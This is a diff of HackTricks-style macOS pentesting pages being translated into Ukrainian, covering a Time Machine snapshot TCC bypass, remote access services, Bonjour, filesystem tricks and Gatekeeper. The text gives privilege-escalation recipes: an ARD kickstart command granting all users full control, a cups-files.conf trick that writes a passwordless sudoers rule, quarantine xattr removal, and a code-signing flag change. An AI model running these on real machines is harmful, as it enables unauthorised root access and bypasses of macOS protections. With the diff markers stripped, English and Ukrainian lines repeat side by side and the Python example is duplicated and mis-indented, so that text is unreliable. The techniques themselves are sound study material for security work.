**Any user** (even unprivileged ones) can create and mount a time machine snapshot an **access ALL the files** of that snapshot.\
The **only privileged** needed is for the application used (like `Terminal`) to have **Full Disk Access** (FDA) access (`kTCCServiceSystemPolicyAllfiles`) which need to be granted by an admin.
### CVE-2020-9771 - обхід TCC mount_apfs та підвищення привілеїв
**Будь-який користувач** (навіть без привілеїв) може створити та змонтувати знімок Time Machine та **отримати доступ до ВСІХ файлів** цього знімка.\
Єдине привілейоване, яке потрібно, це щоб застосунок (наприклад, `Terminal`) мав **Повний доступ до диска** (FDA) (`kTCCServiceSystemPolicyAllfiles`), що потрібно надати адміністратору.
```bash
# Create snapshot
tmutil localsnapshot
@ -233,12 +226,11 @@ mkdir /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
```
Більш детальне пояснення можна [**знайти в оригінальному звіті**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
A more detailed explanation can be [**found in the original report**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
## Чутлива інформація
## Sensitive Information
This can be useful to escalate privileges:
Це може бути корисно для ескалації привілеїв:
{{#ref}}
macos-files-folders-and-binaries/macos-sensitive-locations.md

94
src/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md
View File

@ -4,16 +4,15 @@
## Remote Access Services
These are the common macOS services to access them remotely.\
You can enable/disable these services in `System Settings` --> `Sharing`
Це загальні служби macOS для віддаленого доступу до них.\
Ви можете увімкнути/вимкнути ці служби в `System Settings` --> `Sharing`
- **VNC**, known as “Screen Sharing” (tcp:5900)
- **SSH**, called “Remote Login” (tcp:22)
- **Apple Remote Desktop** (ARD), or “Remote Management” (tcp:3283, tcp:5900)
- **AppleEvent**, known as “Remote Apple Event” (tcp:3031)
Check if any is enabled running:
- **VNC**, відомий як “Screen Sharing” (tcp:5900)
- **SSH**, називається “Remote Login” (tcp:22)
- **Apple Remote Desktop** (ARD), або “Remote Management” (tcp:3283, tcp:5900)
- **AppleEvent**, відомий як “Remote Apple Event” (tcp:3031)
Перевірте, чи будь-яка з них увімкнена, запустивши:
```bash
rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l);
@ -23,103 +22,90 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l);
bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l);
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
```
### Pentesting ARD
Apple Remote Desktop (ARD) is an enhanced version of [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) tailored for macOS, offering additional features. A notable vulnerability in ARD is its authentication method for the control screen password, which only uses the first 8 characters of the password, making it prone to [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) with tools like Hydra or [GoRedShell](https://github.com/ahhh/GoRedShell/), as there are no default rate limits.
Apple Remote Desktop (ARD) є покращеною версією [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing), адаптованою для macOS, що пропонує додаткові функції. Помітною вразливістю в ARD є його метод аутентифікації для пароля контролю екрану, який використовує лише перші 8 символів пароля, що робить його вразливим до [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) за допомогою інструментів, таких як Hydra або [GoRedShell](https://github.com/ahhh/GoRedShell/), оскільки немає стандартних обмежень швидкості.
Vulnerable instances can be identified using **nmap**'s `vnc-info` script. Services supporting `VNC Authentication (2)` are especially susceptible to brute force attacks due to the 8-character password truncation.
To enable ARD for various administrative tasks like privilege escalation, GUI access, or user monitoring, use the following command:
Вразливі екземпляри можна виявити за допомогою скрипта `vnc-info` від **nmap**. Сервіси, що підтримують `VNC Authentication (2)`, особливо схильні до атак методом грубої сили через обрізання пароля до 8 символів.
Щоб увімкнути ARD для різних адміністративних завдань, таких як підвищення привілеїв, доступ до GUI або моніторинг користувачів, використовуйте наступну команду:
```bash
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
```
ARD provides versatile control levels, including observation, shared control, and full control, with sessions persisting even after user password changes. It allows sending Unix commands directly, executing them as root for administrative users. Task scheduling and Remote Spotlight search are notable features, facilitating remote, low-impact searches for sensitive files across multiple machines.
ARD надає різноманітні рівні контролю, включаючи спостереження, спільний контроль та повний контроль, з сесіями, які зберігаються навіть після зміни пароля користувача. Це дозволяє надсилати команди Unix безпосередньо, виконуючи їх від імені root для адміністративних користувачів. Планування завдань та пошук Remote Spotlight є помітними функціями, які полегшують віддалений, маловпливовий пошук чутливих файлів на кількох машинах.
## Bonjour Protocol
Bonjour, an Apple-designed technology, allows **devices on the same network to detect each other's offered services**. Known also as Rendezvous, **Zero Configuration**, or Zeroconf, it enables a device to join a TCP/IP network, **automatically choose an IP address**, and broadcast its services to other network devices.
Bonjour, технологія, розроблена Apple, дозволяє **пристроям в одній мережі виявляти послуги, які вони пропонують**. Відомий також як Rendezvous, **Zero Configuration** або Zeroconf, він дозволяє пристрою приєднуватися до TCP/IP мережі, **автоматично вибирати IP-адресу** та транслювати свої послуги іншим мережевим пристроям.
Zero Configuration Networking, provided by Bonjour, ensures that devices can:
Zero Configuration Networking, що надається Bonjour, забезпечує, щоб пристрої могли:
- **Automatically obtain an IP Address** even in the absence of a DHCP server.
- Perform **name-to-address translation** without requiring a DNS server.
- **Discover services** available on the network.
- **Автоматично отримувати IP-адресу** навіть за відсутності DHCP-сервера.
- Виконувати **переклад імен на адреси** без необхідності в DNS-сервері.
- **Виявляти послуги**, доступні в мережі.
Devices using Bonjour will assign themselves an **IP address from the 169.254/16 range** and verify its uniqueness on the network. Macs maintain a routing table entry for this subnet, verifiable via `netstat -rn | grep 169`.
Пристрої, що використовують Bonjour, призначать собі **IP-адресу з діапазону 169.254/16** та перевірять її унікальність у мережі. Macs підтримують запис маршрутизації для цієї підмережі, що можна перевірити за допомогою `netstat -rn | grep 169`.
For DNS, Bonjour utilizes the **Multicast DNS (mDNS) protocol**. mDNS operates over **port 5353/UDP**, employing **standard DNS queries** but targeting the **multicast address 224.0.0.251**. This approach ensures that all listening devices on the network can receive and respond to the queries, facilitating the update of their records.
Для DNS Bonjour використовує **протокол Multicast DNS (mDNS)**. mDNS працює через **порт 5353/UDP**, використовуючи **стандартні DNS-запити**, але націлюючись на **мульткаст-адресу 224.0.0.251**. Цей підхід забезпечує, щоб усі прослуховуючі пристрої в мережі могли отримувати та відповідати на запити, полегшуючи оновлення своїх записів.
Upon joining the network, each device self-selects a name, typically ending in **.local**, which may be derived from the hostname or randomly generated.
При приєднанні до мережі кожен пристрій самостійно вибирає ім'я, яке зазвичай закінчується на **.local**, що може бути похідним від імені хоста або випадково згенерованим.
Service discovery within the network is facilitated by **DNS Service Discovery (DNS-SD)**. Leveraging the format of DNS SRV records, DNS-SD uses **DNS PTR records** to enable the listing of multiple services. A client seeking a specific service will request a PTR record for `<Service>.<Domain>`, receiving in return a list of PTR records formatted as `<Instance>.<Service>.<Domain>` if the service is available from multiple hosts.
Виявлення послуг у мережі полегшується за допомогою **DNS Service Discovery (DNS-SD)**. Використовуючи формат DNS SRV записів, DNS-SD використовує **DNS PTR записи** для можливості переліку кількох послуг. Клієнт, що шукає конкретну послугу, запитуватиме PTR запис для `<Service>.<Domain>`, отримуючи у відповідь список PTR записів у форматі `<Instance>.<Service>.<Domain>`, якщо послуга доступна з кількох хостів.
The `dns-sd` utility can be employed for **discovering and advertising network services**. Here are some examples of its usage:
Утиліта `dns-sd` може бути використана для **виявлення та реклами мережевих послуг**. Ось кілька прикладів її використання:
### Searching for SSH Services
To search for SSH services on the network, the following command is used:
Щоб шукати SSH послуги в мережі, використовується наступна команда:
```bash
dns-sd -B _ssh._tcp
```
Ця команда ініціює перегляд для \_ssh.\_tcp сервісів і виводить деталі, такі як мітка часу, прапори, інтерфейс, домен, тип сервісу та ім'я екземпляра.
This command initiates browsing for \_ssh.\_tcp services and outputs details such as timestamp, flags, interface, domain, service type, and instance name.
### Advertising an HTTP Service
To advertise an HTTP service, you can use:
### Реклама HTTP Сервісу
Щоб рекламувати HTTP сервіс, ви можете використовувати:
```bash
dns-sd -R "Index" _http._tcp . 80 path=/index.html
```
Ця команда реєструє HTTP-сервіс з назвою "Index" на порту 80 з шляхом `/index.html`.
This command registers an HTTP service named "Index" on port 80 with a path of `/index.html`.
To then search for HTTP services on the network:
Щоб потім шукати HTTP-сервіси в мережі:
```bash
dns-sd -B _http._tcp
```
Коли служба запускається, вона оголошує про свою доступність для всіх пристроїв у підмережі, мультикастуючи свою присутність. Пристрої, зацікавлені в цих службах, не повинні надсилати запити, а просто слухати ці оголошення.
When a service starts, it announces its availability to all devices on the subnet by multicasting its presence. Devices interested in these services don't need to send requests but simply listen for these announcements.
For a more user-friendly interface, the **Discovery - DNS-SD Browser** app available on the Apple App Store can visualize the services offered on your local network.
Alternatively, custom scripts can be written to browse and discover services using the `python-zeroconf` library. The [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) script demonstrates creating a service browser for `_http._tcp.local.` services, printing added or removed services:
Для більш зручного інтерфейсу додаток **Discovery - DNS-SD Browser**, доступний в Apple App Store, може візуалізувати служби, що пропонуються у вашій локальній мережі.
Альтернативно, можна написати власні скрипти для перегляду та виявлення служб, використовуючи бібліотеку `python-zeroconf`. Скрипт [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) демонструє створення браузера служб для `_http._tcp.local.`, виводячи додані або видалені служби:
```python
from zeroconf import ServiceBrowser, Zeroconf
class MyListener:
def remove_service(self, zeroconf, type, name):
print("Service %s removed" % (name,))
def remove_service(self, zeroconf, type, name):
print("Service %s removed" % (name,))
def add_service(self, zeroconf, type, name):
info = zeroconf.get_service_info(type, name)
print("Service %s added, service info: %s" % (name, info))
def add_service(self, zeroconf, type, name):
info = zeroconf.get_service_info(type, name)
print("Service %s added, service info: %s" % (name, info))
zeroconf = Zeroconf()
listener = MyListener()
browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener)
try:
input("Press enter to exit...\n\n")
input("Press enter to exit...\n\n")
finally:
zeroconf.close()
zeroconf.close()
```
### Вимкнення Bonjour
### Disabling Bonjour
If there are concerns about security or other reasons to disable Bonjour, it can be turned off using the following command:
Якщо є занепокоєння щодо безпеки або інші причини для вимкнення Bonjour, його можна вимкнути за допомогою наступної команди:
```bash
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
```
## References
## Посилання
- [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)

77
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md
View File

@ -9,15 +9,15 @@
- **читання** - ви можете **перерахувати** записи каталогу
- **запис** - ви можете **видаляти/записувати** **файли** в каталозі і ви можете **видаляти порожні папки**.
- Але ви **не можете видаляти/модифікувати непорожні папки**, якщо у вас немає прав на запис.
- Ви **не можете змінити назву папки**, якщо ви не є її власником.
- Ви **не можете змінювати назву папки**, якщо ви не є її власником.
- **виконання** - вам **дозволено проходити** через каталог - якщо у вас немає цього права, ви не можете отримати доступ до жодних файлів всередині, або в будь-яких підкаталогах.
### Небезпечні комбінації
**Як перезаписати файл/папку, що належить root**, але:
- Один з батьківських **власників каталогу** в шляху - це користувач
- Один з батьківських **власників каталогу** в шляху - це **група користувачів** з **доступом на запис**
- Один батьківський **власник каталогу** в шляху є користувачем
- Один батьківський **власник каталогу** в шляху є **групою користувачів** з **доступом на запис**
- Група користувачів має **доступ на запис** до **файлу**
З будь-якою з попередніх комбінацій, зловмисник може **впровадити** **символічне/жорстке посилання** на очікуваний шлях, щоб отримати привілейований довільний запис.
@ -30,10 +30,16 @@
## Символічне посилання / Жорстке посилання
Якщо привілейований процес записує дані у **файл**, який може бути **контрольований** **менш привілейованим користувачем**, або який міг бути **раніше створений** менш привілейованим користувачем. Користувач може просто **вказати його на інший файл** через символічне або жорстке посилання, і привілейований процес запише в цей файл.
### Дозволений файл/папка
Якщо привілейований процес записує дані в **файл**, який може бути **контрольований** **менш привілейованим користувачем**, або який міг бути **раніше створений** менш привілейованим користувачем. Користувач може просто **вказати його на інший файл** через символічне або жорстке посилання, і привілейований процес запише в цей файл.
Перевірте в інших розділах, де зловмисник може **зловживати довільним записом для ескалації привілеїв**.
### Відкрити `O_NOFOLLOW`
Флаг `O_NOFOLLOW`, коли використовується функцією `open`, не буде слідувати за символічним посиланням в останньому компоненті шляху, але буде слідувати за рештою шляху. Правильний спосіб запобігти слідуванню за символічними посиланнями в шляху - це використання флага `O_NOFOLLOW_ANY`.
## .fileloc
Файли з розширенням **`.fileloc`** можуть вказувати на інші програми або бінарники, тому коли вони відкриваються, програма/бінарник буде виконана.\
@ -50,11 +56,15 @@
</dict>
</plist>
```
## Довільний FD
## Файлові дескриптори
Якщо ви можете змусити **процес відкрити файл або папку з високими привілеями**, ви можете зловживати **`crontab`**, щоб відкрити файл у `/etc/sudoers.d` з **`EDITOR=exploit.py`**, так що `exploit.py` отримає FD до файлу всередині `/etc/sudoers` і зловживатиме ним.
### Leak FD (без `O_CLOEXEC`)
Наприклад: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
Якщо виклик `open` не має прапора `O_CLOEXEC`, файловий дескриптор буде успадкований дочірнім процесом. Отже, якщо привілейований процес відкриває привілейований файл і виконує процес, контрольований зловмисником, зловмисник **успадкує FD над привілейованим файлом**.
Якщо ви можете змусити **процес відкрити файл або папку з високими привілеями**, ви можете зловживати **`crontab`**, щоб відкрити файл у `/etc/sudoers.d` з **`EDITOR=exploit.py`**, так що `exploit.py` отримає FD до файлу всередині `/etc/sudoers` і зловживає ним.
Наприклад: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), код: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
## Уникайте трюків з xattrs карантину
@ -64,7 +74,7 @@ xattr -d com.apple.quarantine /path/to/file_or_app
```
### uchg / uchange / uimmutable flag
Якщо файл/папка має цей незмінний атрибут, не буде можливим встановити xattr на нього.
Якщо файл/папка має цей атрибут незмінності, не буде можливим встановити xattr на нього.
```bash
echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
@ -134,7 +144,7 @@ ditto -c -k del test.zip
ditto -x -k --rsrc test.zip .
ls -le test
```
(Зверніть увагу, що навіть якщо це працює, пісочниця записує атрибут карантину xattr перед цим)
(Зверніть увагу, що навіть якщо це працює, пісочниця записує карантинний xattr перед цим)
Не зовсім необхідно, але я залишаю це на випадок:
@ -142,9 +152,30 @@ ls -le test
macos-xattr-acls-extra-stuff.md
{{#endref}}
## Обхід перевірок підпису
### Обхід перевірок платформних бінарників
Деякі перевірки безпеки перевіряють, чи є бінарник **платформним бінарником**, наприклад, щоб дозволити підключення до служби XPC. Однак, як було показано в обході на https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, можливо обійти цю перевірку, отримавши платформний бінарник (такий як /bin/ls) і впровадивши експлойт через dyld, використовуючи змінну середовища `DYLD_INSERT_LIBRARIES`.
### Обхід прапорців `CS_REQUIRE_LV` та `CS_FORCED_LV`
Можливо, щоб виконуваний бінарник змінив свої власні прапорці, щоб обійти перевірки з кодом, таким як:
```c
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
int pid = getpid();
NSString *exePath = NSProcessInfo.processInfo.arguments[0];
uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
status |= 0x2000; // CS_REQUIRE_LV
csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
```
## Обхід підписів коду
Пакунки містять файл **`_CodeSignature/CodeResources`**, який містить **хеш** кожного окремого **файлу** в **пакунку**. Зверніть увагу, що хеш CodeResources також **вбудований у виконуваний файл**, тому ми не можемо з цим нічого зробити.
Пакунки містять файл **`_CodeSignature/CodeResources`**, який містить **хеш** кожного окремого **файлу** в **пакунку**. Зверніть увагу, що хеш CodeResources також **вбудований в виконуваний файл**, тому ми не можемо з цим нічого зробити.
Однак є деякі файли, підпис яких не буде перевірятися, у них є ключ omit у plist, такі як:
```xml
@ -226,7 +257,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg
Якщо ваш скрипт може бути інтерпретований як **shell script**, ви можете перезаписати **`/etc/periodic/daily/999.local`** shell-скрипт, який буде запускатися щодня.
Ви можете **сфальсифікувати** виконання цього скрипта за допомогою: **`sudo periodic daily`**
Ви можете **підробити** виконання цього скрипта за допомогою: **`sudo periodic daily`**
### Демони
@ -255,13 +286,33 @@ hdiutil create -srcfolder justsome.app justsome.dmg
### Файли PATH
Файл **`/etc/paths`** є одним з основних місць, які заповнюють змінну середовища PATH. Ви повинні бути root, щоб перезаписати його, але якщо скрипт з **привілейованого процесу** виконує якусь **команду без повного шляху**, ви можете **перехопити** його, змінивши цей файл.
Файл **`/etc/paths`** є одним з основних місць, які заповнюють змінну середовища PATH. Ви повинні бути root, щоб перезаписати його, але якщо скрипт з **привілейованого процесу** виконує якусь **команду без повного шляху**, ви можете **перехопити** її, змінивши цей файл.
Ви також можете записувати файли в **`/etc/paths.d`**, щоб завантажити нові папки в змінну середовища `PATH`.
### cups-files.conf
Цю техніку було використано в [цьому звіті](https://www.kandji.io/blog/macos-audit-story-part1).
Створіть файл `/etc/cups/cups-files.conf` з наступним вмістом:
```
ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
<some junk>
```
Це створить файл `/etc/sudoers.d/lpe` з правами 777. Додатковий сміття в кінці потрібно для створення журналу помилок.
Потім запишіть у `/etc/sudoers.d/lpe` необхідну конфігурацію для ескалації привілеїв, наприклад, `%staff ALL=(ALL) NOPASSWD:ALL`.
Потім знову змініть файл `/etc/cups/cups-files.conf`, вказавши `LogFilePerm 700`, щоб новий файл sudoers став дійсним, викликавши `cupsctl`.
### Втеча з пісочниці
Можливо втекти з пісочниці macOS за допомогою FS довільного запису. Для деяких прикладів перевірте сторінку [macOS Auto Start](../../../../macos-auto-start-locations.md), але поширеним є запис файлу налаштувань Terminal у `~/Library/Preferences/com.apple.Terminal.plist`, який виконує команду при запуску, і викликати його за допомогою `open`.
## Генерація записуваних файлів як інші користувачі
Це створить файл, який належить root і є записуваним для мене ([**код звідси**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Це також може працювати як privesc:
Це створить файл, що належить root, який можна записувати мною ([**код звідси**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Це також може працювати як privesc:
```bash
DIRNAME=/usr/local/etc/periodic/daily

41
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md
View File

@ -2,15 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Gatekeeper
**Gatekeeper** - це функція безпеки, розроблена для операційних систем Mac, призначена для забезпечення того, щоб користувачі **використовували лише довірене програмне забезпечення** на своїх системах. Вона функціонує шляхом **перевірки програмного забезпечення**, яке користувач завантажує та намагається відкрити з **джерел поза App Store**, таких як додаток, плагін або пакет установника.
**Gatekeeper** - це функція безпеки, розроблена для операційних систем Mac, призначена для забезпечення того, щоб користувачі **використовували лише надійне програмне забезпечення** на своїх системах. Вона функціонує шляхом **перевірки програмного забезпечення**, яке користувач завантажує та намагається відкрити з **джерел поза App Store**, таких як додаток, плагін або пакет установника.
Ключовий механізм Gatekeeper полягає в її **процесі перевірки**. Вона перевіряє, чи є завантажене програмне забезпечення **підписаним визнаним розробником**, що забезпечує автентичність програмного забезпечення. Додатково, вона підтверджує, чи є програмне забезпечення **нотаризованим Apple**, що підтверджує, що воно не містить відомого шкідливого вмісту і не було змінено після нотаризації.
Ключовий механізм Gatekeeper полягає в її **процесі перевірки**. Вона перевіряє, чи підписане завантажене програмне забезпечення **визнаним розробником**, що забезпечує автентичність програмного забезпечення. Додатково, вона підтверджує, чи програмне забезпечення **нотаризоване Apple**, що підтверджує, що воно не містить відомого шкідливого вмісту і не було змінено після нотаризації.
Крім того, Gatekeeper посилює контроль і безпеку користувача, **запитуючи користувачів підтвердити відкриття** завантаженого програмного забезпечення вперше. Ця запобіжна міра допомагає запобігти випадковому запуску потенційно шкідливого виконуваного коду, який користувач міг помилково прийняти за безпечний файл даних.
@ -20,9 +16,9 @@
Ось як це працює:
1. **Підписання додатку:** Коли розробник готовий розповсюдити свій додаток, він **підписує додаток за допомогою приватного ключа**. Цей приватний ключ пов'язаний з **сертифікатом, який Apple видає розробнику** під час реєстрації в програмі Apple Developer Program. Процес підписання включає створення криптографічного хешу всіх частин додатку та шифрування цього хешу за допомогою приватного ключа розробника.
1. **Підписання додатку:** Коли розробник готовий розповсюдити свій додаток, він **підписує додаток за допомогою приватного ключа**. Цей приватний ключ пов'язаний з **сертифікатом, який Apple видає розробнику** під час його реєстрації в програмі Apple Developer Program. Процес підписання включає створення криптографічного хешу всіх частин додатку та шифрування цього хешу за допомогою приватного ключа розробника.
2. **Розповсюдження додатку:** Підписаний додаток потім розповсюджується користувачам разом із сертифікатом розробника, який містить відповідний публічний ключ.
3. **Перевірка додатку:** Коли користувач завантажує та намагається запустити додаток, його операційна система Mac використовує публічний ключ з сертифіката розробника для розшифрування хешу. Потім вона перераховує хеш на основі поточного стану додатку та порівнює його з розшифрованим хешем. Якщо вони збігаються, це означає, що **додаток не був змінений** з моменту підписання розробником, і система дозволяє запуск додатку.
3. **Перевірка додатку:** Коли користувач завантажує та намагається запустити додаток, його операційна система Mac використовує публічний ключ з сертифіката розробника для розшифрування хешу. Потім вона повторно обчислює хеш на основі поточного стану додатку та порівнює його з розшифрованим хешем. Якщо вони збігаються, це означає, що **додаток не був змінений** з моменту його підписання розробником, і система дозволяє запуск додатку.
Підписи додатків є важливою частиною технології Gatekeeper Apple. Коли користувач намагається **відкрити додаток, завантажений з Інтернету**, Gatekeeper перевіряє підпис додатку. Якщо він підписаний сертифікатом, виданим Apple відомому розробнику, і код не був змінений, Gatekeeper дозволяє запуск додатку. В іншому випадку, він блокує додаток і сповіщає користувача.
@ -49,11 +45,11 @@ codesign -s <cert-name-keychain> toolsdemo
```
### Нотаризація
Процес нотаризації Apple слугує додатковим захистом для користувачів від потенційно шкідливого програмного забезпечення. Він передбачає, що **розробник подає свою програму на перевірку** до **Служби нотаризації Apple**, яку не слід плутати з перевіркою додатків. Ця служба є **автоматизованою системою**, яка ретельно перевіряє подане програмне забезпечення на наявність **шкідливого контенту** та будь-які потенційні проблеми з підписуванням коду.
Процес нотаризації Apple слугує додатковим захистом для користувачів від потенційно шкідливого програмного забезпечення. Він передбачає **подання розробником свого додатку на перевірку** до **Служби нотаризації Apple**, яку не слід плутати з перевіркою додатків. Ця служба є **автоматизованою системою**, яка ретельно перевіряє подане програмне забезпечення на наявність **шкідливого контенту** та будь-яких потенційних проблем з підписуванням коду.
Якщо програмне забезпечення **проходить** цю перевірку без жодних зауважень, Служба нотаризації генерує квиток нотаризації. Розробник зобов'язаний **додати цей квиток до свого програмного забезпечення**, процес, відомий як 'стаплінг'. Крім того, квиток нотаризації також публікується в Інтернеті, де Gatekeeper, технологія безпеки Apple, може отримати до нього доступ.
Під час першої установки або виконання програмного забезпечення користувачем, наявність квитка нотаризації - чи то прикріпленого до виконуваного файлу, чи знайденого в Інтернеті - **інформує Gatekeeper, що програмне забезпечення було нотаризовано Apple**. В результаті Gatekeeper відображає описове повідомлення в початковому діалоговому вікні запуску, вказуючи на те, що програмне забезпечення пройшло перевірку на наявність шкідливого контенту від Apple. Цей процес таким чином підвищує довіру користувачів до безпеки програмного забезпечення, яке вони встановлюють або запускають на своїх системах.
Під час першої установки або виконання програмного забезпечення користувачем, наявність квитка нотаризації - чи то прикріпленого до виконуваного файлу, чи знайденого в Інтернеті - **інформує Gatekeeper, що програмне забезпечення було нотаризовано Apple**. В результаті Gatekeeper відображає описове повідомлення в початковому діалоговому вікні запуску, вказуючи на те, що програмне забезпечення пройшло перевірки на наявність шкідливого контенту від Apple. Цей процес таким чином підвищує довіру користувачів до безпеки програмного забезпечення, яке вони встановлюють або запускають на своїх системах.
### spctl & syspolicyd
@ -88,9 +84,9 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
[...]
```
**`syspolicyd`** також надає XPC сервер з різними операціями, такими як `assess`, `update`, `record` та `cancel`, які також доступні через **`Security.framework`'s `SecAssessment*`** API, а **`xpctl`** насправді спілкується з **`syspolicyd`** через XPC.
**`syspolicyd`** також надає XPC сервер з різними операціями, такими як `assess`, `update`, `record` та `cancel`, які також доступні за допомогою **`Security.framework`'s `SecAssessment*`** API, а **`xpctl`** насправді спілкується з **`syspolicyd`** через XPC.
Зверніть увагу, що перше правило закінчується на "**App Store**", а друге на "**Developer ID**", і що в попередньому зображенні було **дозволено виконувати програми з App Store та від ідентифікованих розробників**.\
Зверніть увагу, що перше правило закінчується на "**App Store**", а друге на "**Developer ID**", і що в попередньому зображенні було **дозволено виконувати програми з App Store та ідентифікованих розробників**.\
Якщо ви **зміните** це налаштування на App Store, то правила "**Notarized Developer ID" зникнуть**.
Існує також тисячі правил **типу GKE**:
@ -149,22 +145,22 @@ spctl --assess -v /Applications/App.app
### Файли карантину
Після **завантаження** програми або файлу, певні програми macOS, такі як веб-браузери або поштові клієнти, **додають розширений атрибут файлу**, відомий як "**прапор карантину**", до завантаженого файлу. Цей атрибут діє як захисний захід, щоб **позначити файл** як такий, що походить з ненадійного джерела (інтернету) і потенційно несе ризики. Однак не всі програми додають цей атрибут, наприклад, звичайне програмне забезпечення клієнта BitTorrent зазвичай обходить цей процес.
Після **завантаження** програми або файлу, певні програми macOS, такі як веб-браузери або поштові клієнти, **додають розширений атрибут файлу**, відомий як "**прапор карантину**", до завантаженого файлу. Цей атрибут діє як захисний захід, щоб **позначити файл** як такий, що походить з ненадійного джерела (інтернету), і потенційно несе ризики. Однак не всі програми додають цей атрибут, наприклад, звичайне програмне забезпечення клієнтів BitTorrent зазвичай обходить цей процес.
**Наявність прапора карантину сигналізує про функцію безпеки Gatekeeper macOS, коли користувач намагається виконати файл**.
У випадку, якщо **прапор карантину відсутній** (як у випадку з файлами, завантаженими через деякі клієнти BitTorrent), **перевірки Gatekeeper можуть не виконуватись**. Тому користувачі повинні бути обережними при відкритті файлів, завантажених з менш безпечних або невідомих джерел.
> [!NOTE] > **Перевірка** **дійсності** підписів коду є **ресурсоємним** процесом, який включає в себе генерацію криптографічних **хешів** коду та всіх його вбудованих ресурсів. Крім того, перевірка дійсності сертифіката передбачає проведення **онлайн-перевірки** на серверах Apple, щоб дізнатися, чи був він анульований після його видачі. З цих причин повна перевірка підпису коду та нотаризації є **недоцільною для виконання щоразу при запуску програми**.
> [!NOTE] > **Перевірка** **дійсності** підписів коду є **ресурсоємним** процесом, який включає в себе генерацію криптографічних **хешів** коду та всіх його упакованих ресурсів. Крім того, перевірка дійсності сертифіката передбачає проведення **онлайн-перевірки** на серверах Apple, щоб дізнатися, чи був він відкликаний після його видачі. З цих причин повна перевірка підпису коду та нотаризації є **недоцільною для виконання щоразу при запуску програми**.
>
> Тому ці перевірки **виконуються лише при виконанні програм з атрибутом карантину.**
> [!WARNING]
> Цей атрибут повинен бути **встановлений програмою, що створює/завантажує** файл.
>
> Однак файли, які знаходяться в пісочниці, матимуть цей атрибут, встановлений для кожного файлу, який вони створюють. А програми без пісочниці можуть встановити його самостійно або вказати ключ [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) у **Info.plist**, що змусить систему встановити розширений атрибут `com.apple.quarantine` на створені файли.
> Однак файли, які знаходяться в пісочниці, матимуть цей атрибут, встановлений для кожного файлу, який вони створюють. А програми без пісочниці можуть встановлювати його самостійно або вказати ключ [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) у **Info.plist**, що змусить систему встановити розширений атрибут `com.apple.quarantine` на створені файли,
Більше того, всі файли, створені процесом, що викликає **`qtn_proc_apply_to_self`**, підлягають карантину. А API **`qtn_file_apply_to_path`** додає атрибут карантину до вказаного шляху файлу.
Більше того, всі файли, створені процесом, що викликає **`qtn_proc_apply_to_self`**, підлягають карантину. Або API **`qtn_file_apply_to_path`** додає атрибут карантину до вказаного шляху файлу.
Можна **перевірити його статус і увімкнути/вимкнути** (потрібні права root) за допомогою:
```bash
@ -181,7 +177,7 @@ xattr file.png
com.apple.macl
